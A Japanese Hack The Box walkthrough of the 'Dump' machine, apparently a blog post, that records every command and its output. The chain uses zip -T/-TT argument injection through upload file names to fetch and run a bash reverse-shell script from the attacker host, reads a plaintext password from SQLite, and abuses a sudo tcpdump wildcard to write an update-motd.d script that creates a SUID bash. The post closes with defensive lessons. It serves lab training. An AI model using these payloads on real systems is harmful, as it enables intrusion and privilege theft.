Hack The BoxのWriteup(Dump)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Dump — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH) / 80(HTTP)
→
無認証登録/ログイン
パケットキャプチャ管理アプリ
→
zip -T/-TT 引数インジェクション
3段階アップロード+GTFOBins
→
www-data シェル取得
→
SQLite平文パスワード
fritz:Passw0rdH4shingIsforNoobZ!
→
SSH fritz
user.txt ✓
→
sudo tcpdump ワイルドカード悪用
update-motd.d へ書込
→
SUID bash
root.txt ✓

ポート・バージョンスキャン

BASH
nmap -Pn -p22,80 -sV -sC --min-rate 1000 10.129.234.97
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.65 (Debian)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: hdmpll?
|_http-server-header: Apache/2.4.65 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ディレクトリ列挙

BASH
gobuster dir -u http://10.129.234.97/ -w /usr/share/wordlists/dirb/common.txt -q -t 30
RESULT
.htpasswd            (Status: 403) [Size: 278]
.htaccess            (Status: 403) [Size: 278]
.hta                 (Status: 403) [Size: 278]
downloads            (Status: 301) [Size: 318] [--> http://10.129.234.97/downloads/]
index.php            (Status: 200) [Size: 954]
server-status        (Status: 403) [Size: 278]
ℹ️
アプリ自体が参照している upload.php / download.php / .functions.php 等は一般的なワードリストには含まれず、アプリのHTMLフォーム(action="upload.php"等)を 読むことで判明する。
PHASE 2

Webアプリケーション調査

アプリの正体確認

BASH
curl -s http://10.129.234.97/index.php
RESULT(抜粋)
<h1>How do my packets look like?</h1>
<form action="index.php" method="post">
  Username / Password / [Login] [Register]
</form>
ℹ️
認証不要で誰でもアカウント登録可能。登録後、パケットキャプチャ (pcap)ファイルのアップロード/ダウンロード/ライブキャプチャ機能が使える。 SQLインジェクションは不成立、アップロードはpcap形式検証があるため直接の webshellアップロードは不可。

登録・ログイン → ダウンロード機能のエラーメッセージからzipコマンドの存在が判明

BASH
curl -s -c cookies.txt -X POST http://10.129.234.97/index.php \
  -d "username=test&password=test&btn=Register"
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.234.97/index.php \
  -d "username=test&password=test&btn=Login"
curl -s -b cookies.txt http://10.129.234.97/download.php
RESULT
Preparing download...
<!--
  zip warning: name not matched: *

  zip error: Nothing to do! (/var/www/html/downloads/<uuid>.zip)
-->
🚨
サーバー内部パスとエラーメッセージから、ダウンロード機能がバックエンドで zipコマンドを直接呼び出していることが判明。

ファイル名による引数インジェクションの確認

NOTE
パストラバーサル文字(/, \)はフィルタされるが、ハイフンで始まる
ファイル名はそのまま通る。アップロードファイル名を "-h" にすると、
download.php がそれをそのまま zip コマンドの引数として渡していることが
確認できる(zipのヘルプメニューが返ってくる)。
BASH
curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \
  -F "submit=Upload Capture" \
  -F "fileToUpload=@/dev/null;filename=-h;type=application/octet-stream"
curl -s -b cookies.txt http://10.129.234.97/download.php
RESULT
Preparing download...
<!--
Copyright (c) 1990-2008 Info-ZIP - Type 'zip "-L"' for software license.
Zip 3.0 (July 5th 2008). Usage:
zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]
  -T   test zipfile integrity       -X   eXclude eXtra file attributes
  ...
-->
✅
コマンド引数インジェクション確定。 アップロードファイル名が zipのオプションとしてそのまま解釈される。GTFOBinsの zip -T(整合性テスト) / -TT <cmd>(テスト時に実行する カスタムコマンド指定)を組み合わせれば任意コマンド実行が可能になる。
PHASE 3

zip -T/-TT 引数インジェクション → www-data Foothold

1ファイル名に複数引数は失敗 → 3回に分けてアップロード

NOTE
1つのファイル名に "-T -TT cmd" のように複数引数を詰め込もうとすると、
サーバー側のシェルクォート処理で失敗する。継続テストの結果、
複数回のアップロードに引数を分割すれば成功することを確認:

  1. test                                    (実データ、zipの対象ファイル)
  2. -T                                      (整合性テストフラグ)
  3. -TT wget -r <kali>:<port> -nd;bash s.sh;echo   (カスタムテストコマンド)

download.php 実行時にサーバー側で概ね以下相当のコマンドが組み立てられる:

  zip '-T' '-TT wget -r <kali>:<port> -nd;bash s.sh;echo' <uuid>.zip 'test'

-T により zip 作成後の整合性テストが走り、-TT で指定したコマンドが
"unzip -tqq" の代わりに実行される。これが任意コマンド実行の正体。

リバースシェルペイロードの準備とリスナー起動

BASH(Kali側: ペイロードファイル作成)
cat > s.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.15.200/19001 0>&1
EOF
BASH(Kali側: HTTP配信 + リスナー)
python3 -m http.server 19000 &
nc -lvnp 19001

3段階アップロード → download.php トリガでRCE発火

BASH
curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \
  -F "submit=Upload Capture" \
  -F "fileToUpload=@/dev/null;filename=test;type=application/octet-stream"

curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \
  -F "submit=Upload Capture" \
  -F "fileToUpload=@/dev/null;filename=-T;type=application/octet-stream"

curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \
  -F "submit=Upload Capture" \
  -F "fileToUpload=@/dev/null;filename=-TT wget -r 10.10.15.200:19000 -nd;bash s.sh;echo;type=application/octet-stream"

# ダウンロード機能をトリガしてコマンド実行
curl -s -b cookies.txt http://10.129.234.97/download.php
RESULT(Kali側 HTTPサーバーログ)
10.129.234.97 - - [GET / HTTP/1.1] 200 -
10.129.234.97 - - [GET /s.sh HTTP/1.1] 200 -
RESULT(nc リスナー側)
listening on [any] 19001 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.234.97] xxxxx
bash: cannot set terminal process group (xxx): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dump:/var/cache/captures/<uuid>$
✅
www-data としてのリバースシェル確立に成功。 wget -r(ディレクトリ一覧の再帰クロール)を使うことで、 アップロードファイル名のパストラバーサル対策(単純な拡張子/文字フィルタ)を 回避しつつ任意のファイル名(s.sh)をサーバーへ取得・実行させている。
PHASE 4

SQLite平文パスワード奪取 → user.txt

sudo権限の確認

BASH
www-data@dump:/var/cache/captures/<uuid>$ sudo -l
RESULT
Matching Defaults entries for www-data on dump:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on dump:
    (ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
        -w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
        -F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
ℹ️
一見厳格な制限付きsudoに見えるが、このsudo -lの出力自体が 後のPhase 5で悪用する攻撃面の全貌を示している(詳細は後述)。 先にユーザー昇格のためシステムの他の場所を調べる。

SQLiteデータベースの発見とクエリ

BASH
www-data@dump:/var/www/database$ sqlite3 database.sqlite3 'select * from users'
RESULT
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
test|test|<uuid>
(自分で登録したテストユーザーの行も表示される)
🚨
実在のOSユーザーfritzの平文パスワードがデータベースに そのまま保存されている。末尾が大文字Zである点に注意 (小文字zだと認証に失敗する)。

SSHログイン & user.txt取得

BASH
ssh fritz@10.129.234.97
# Password: Passw0rdH4shingIsforNoobZ!

fritz@dump:~$ id
fritz@dump:~$ cat user.txt
RESULT
uid=1001(fritz) gid=1001(fritz) groups=1001(fritz),4(adm)
0876706fe3c46c0b06cf233d0a4fe669
user.txt — fritz
0876706fe3c46c0b06cf233d0a4fe669
ℹ️
fritzがadmグループに所属している点も重要な手掛かり (/var/log配下のログファイル、特に監査ログが読める)。
PHASE 5

sudo tcpdump のワイルドカード解釈ズレ悪用

直接的な -z コマンド実行はAppArmorでブロックされる

NOTE
GTFOBinsのtcpdumpのエントリでは -z フラグ(ポストローテートコマンド)での
任意コマンド実行が紹介されているが、実際に試すと失敗する:

  $ sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ -ln -i eth0 \
      -w/tmp/out.txt -W 1 -G 1 -z $TF -Z root /<uuid> \
      -F/var/cache/captures/filter.<uuid>

  compress_savefile: execlp(/tmp/tmp.XXXXXX, /tmp/out.txt) failed: Permission denied
BASH(fritzのadmグループ権限で監査ログを確認)
fritz@dump:/var/log/audit$ tail -f audit.log
RESULT
type=AVC msg=audit(...): apparmor="DENIED" operation="exec"
profile="tcpdump" name="/tmp/tmp.XXXXXX" pid=xxxxx comm="tcpdump"
requested_mask="x" denied_mask="x" fsuid=0 ouid=33 OUID="www-data"
⚠️
/etc/apparmor.d/usr.bin.tcpdumpを確認すると、-zで 指定する外部コマンドの実行(ixr)はgzip/bzip2 のみに限定されており、任意コマンドの直接実行経路は塞がれている。 一方、owner @{HOME}/** rwと/**.[pP][cC][aA][pP] rwなど、 特定パターンのファイルへの書込み自体は許可されている。 直接実行ではなく、間接的なファイル書込みの悪用に方針転換する。

sudoersワイルドカードの解釈ズレを突いたファイル書込み

NOTE
sudoersの許可パターンは以下の通り(再掲):

  /usr/bin/tcpdump -c10
    -w/var/cache/captures/*/<UUID形式>
    -F/var/cache/captures/filter.<UUID形式>

sudoによる照合は「コマンドライン全体を1つの文字列」として fnmatch で
行われるため、ワイルドカード(*)部分には改行を含まない任意の文字列が
マッチしてしまう。つまり "captures/" の直後から、末尾のUUIDパターン
直前までの間に、追加の -w フラグを挿入できる:

  sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ \
    -w/etc/update-motd.d/<任意のUUID形式ファイル名> -Z fritz \
    /<UUID> -F/var/cache/captures/filter.<UUID>

tcpdump自身のオプション解析では、-wが複数回指定された場合
「最後に指定された -w」が実際の書込み先として採用される。
末尾の "/<UUID>" はsudoersパターンが要求する「captures/ 直後の
必須UUID」を帳尻合わせするためのダミー引数で、tcpdumpからはBPF
フィルタ式として解釈されるため実害はない。
BASH
www-data@dump:/var/cache/captures$ echo '' > filter.<uuid>

www-data@dump:/var/cache/captures$ sudo /usr/bin/tcpdump -c10 \
  -w/var/cache/captures/ \
  -w/etc/update-motd.d/11111111-1234-1234-1234-111111111111 \
  -Z fritz /<uuid> -F/var/cache/captures/filter.<uuid>
RESULT
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10 packets captured
12 packets received by filter
0 packets dropped by kernel

www-data@dump:/var/cache/captures$ ls -la /etc/update-motd.d/11111111-1234-1234-1234-111111111111
-rw-r--r-- 1 fritz fritz 949 ... /etc/update-motd.d/11111111-1234-1234-1234-111111111111
✅
root所有ディレクトリ(/etc/update-motd.d/)配下に fritz所有の書込み可能なファイルを作成することに成功。 -Z fritzにより、ファイルを開いた直後にtcpdumpプロセスの 実効ユーザーがfritzへドロップされ、以降の書込み・chown処理がfritz権限で 行われるため、ファイルの所有者がfritzになる。
PHASE 6

update-motd.d 経由の pam_motd 実行 → SUID bash → root.txt

MOTDスクリプトへペイロードを書込む

NOTE
/etc/update-motd.d/ 配下の実行可能ファイルは、SSHログイン時に
root権限(pam_motd経由)で自動実行される。先ほどfritz所有にした
ファイルへ、自分自身がfritzとして直接書き込める。
BASH
fritz@dump:~$ cat > /etc/update-motd.d/11111111-1234-1234-1234-111111111111 << 'EOF'
#!/bin/bash
cp /usr/bin/bash /home/fritz/bash && chmod u+s /home/fritz/bash
EOF
fritz@dump:~$ chmod +x /etc/update-motd.d/11111111-1234-1234-1234-111111111111

再ログインでMOTDスクリプトをroot権限で発火

BASH
ssh -tt fritz@10.129.234.97 exit

fritz@dump:~$ ls -la /home/fritz/bash
RESULT
-rwsr-xr-x 1 root root 1234376 ... /home/fritz/bash
✅
SUID root な bash バイナリの作成に成功。 MOTDスクリプトは SSHの新規セッション確立の都度、root権限で自動実行されるため、確実に 発火させることができる。

root.txt取得

BASH
fritz@dump:~$ /home/fritz/bash -p
bash-5.1# id
bash-5.1# cat /root/root.txt
RESULT
uid=1001(fritz) gid=1001(fritz) euid=0(root) groups=1001(fritz),4(adm)
9d80ea014aa8bf5dcde45bce1da22cbf
root.txt — root@dump
9d80ea014aa8bf5dcde45bce1da22cbf
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — fritz
0876706fe3c46c0b06cf233d0a4fe669
root.txt — root@dump
9d80ea014aa8bf5dcde45bce1da22cbf

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
コマンド引数インジェクション download.php (zipコマンド呼出) リモートコード実行 (www-data) Critical アップロードファイル名をzipの引数としてそのまま使用。GTFOBinsの zip -T/-TT で任意コマンド実行
平文パスワード保存 SQLiteデータベース (users テーブル) 実OSユーザーの認証情報漏洩 High www-data権限でDBを直接読み取り、fritzの平文パスワードを取得
sudoersワイルドカードの解釈ズレ /usr/bin/tcpdump (NOPASSWD sudo) 権限昇格 (root所有ディレクトリへの任意ファイル書込み) Critical sudoersの fnmatch と tcpdump自身の「最後の-wを採用」という引数解釈の差異を悪用し、/etc/update-motd.d/ に書込み、pam_motd経由でroot実行させてSUID bash生成

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + gobuster22(SSH)/80(HTTP)、カスタムPHPアプリ検出
2Web調査登録/ログイン + エラーメッセージ解析 + -h引数テストzipコマンド引数インジェクションの確定
3Footholdzip -T/-TT (GTFOBins) + wget -r によるパストラバーサル対策回避www-data リバースシェル
4横移動SQLite直接クエリuser.txt 取得(fritz)
5権限調査sudo -l + AppArmor監査ログ解析tcpdump sudoersワイルドカードの悪用可能性を特定
6権限昇格sudo tcpdump 複数-w悪用 + pam_motdroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
アップロードファイル名を検証/サニタイズせずシェルコマンド引数へ渡している ユーザー制御可能な文字列は絶対にコマンド引数として使わない。やむを得ない場合は -- でオプション終端を明示し、許可文字のホワイトリスト検証を行う。
パスワードをデータベースに平文で保存 bcrypt/argon2等の適切なハッシュ関数でパスワードを保存する。平文保存は原則として許容されない。
sudoersのワイルドカード(*)がコマンドライン全体を単純文字列照合するため追加フラグの挿入を許してしまう sudoersルールはできる限り固定文字列で記述し、ワイルドカードの使用は最小限に留める。コマンドラッパースクリプトを用意し、引数を厳格に検証してから実際のバイナリを呼び出す設計にする。
update-motd.d配下のスクリプトが一般ユーザーの書込み可能なファイルになり得る root権限で自動実行されるファイル・ディレクトリへの書込み権限管理を徹底し、sudo経由で作成されうるファイルの所有者・パーミッションを定期的に監査する。
HackTheBox: Dump | 完全攻略レポート